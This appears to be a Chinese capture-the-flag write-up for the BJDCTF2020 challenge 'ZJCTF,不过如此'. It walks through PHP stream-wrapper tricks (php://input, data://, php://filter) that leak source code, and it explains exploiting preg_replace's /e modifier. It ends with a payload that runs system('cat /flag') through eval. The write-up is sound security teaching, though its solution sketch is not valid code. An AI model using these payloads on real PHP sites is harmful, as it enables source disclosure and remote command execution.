[BJDCTF2020]ZJCTF,不过如此—preg_replace代码执行之看了包会(代码审计5)

[BJDCTF2020]ZJCTF,不过如此

题目:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
    
    
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    
    
    highlight_file(__FILE__);
}
?>

想要实现文件读取漏洞就需要满足两个条件:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

读取到next源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    
    
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    
    
    echo complex($re, $str). "\n";
}

function getFlag(){
    
    
	@eval($_GET['cmd']);
}
?>
    

扫盲:

preg_replace与代码执行

正则表达式 – 元字符_w3cschool:这里主要涉及的元字符为\S意思为匹配所有的非空字符

同时还涉及到变量覆盖的两种形式:$$a或者${$a},两种变量覆盖的形式是为了避免歧义,当需要使用变量覆盖来用于数组的时候第一种为:${$a[1]}、第二种:${$a}[1]

分析:

1.首先你需要知道关于变量覆盖,以及双引号包裹的字符串会被php解析器解析后执行。

本地试验:

<?php
$str = "${phpinfo()}";#会被执行
$str = '${phpinfo()}';#不会被执行
?>

2.关于\1的问题,就是将你通过圆括号指定的匹配到的字符串会被暂时储存在一个缓冲区里面,而\1就是读你第一个圆括号指定匹配到的字符串

本地试验:

<?php
$str = "abc123456789";
print_r(preg_replace('/(\S)(\S)(\S)(\S)/i','strtolower("\\0")',$str));
preg_match('/(\S)(\S)(\S)(\S)/i',$str,$arr);
echo '<br>';
print_r($arr);
?>

返回结果为:

strtolower(“abc1”)strtolower(“2345”)strtolower(“6789”)

Array ( [0] => abc1 [1] => a [2] => b [3] => c [4] => 1 )

这里牵扯到一个php正则表达式的子模式

解题:

function complex($re, $str) {
    
    
    return preg_replace(
        '/(' . \S+ . ')/ei',
        'strtolower("\\1")',
        ${
    
    getFlag()}
    );
}
function getFlag(){
    
    
	@eval($_GET['cmd']);
}

也就是说要传入的参数为:

next.php?\S%2b=${getFlag()}&cmd=system('cat /flag');

猜你喜欢

转载自blog.csdn.net/qq_50589021/article/details/117669916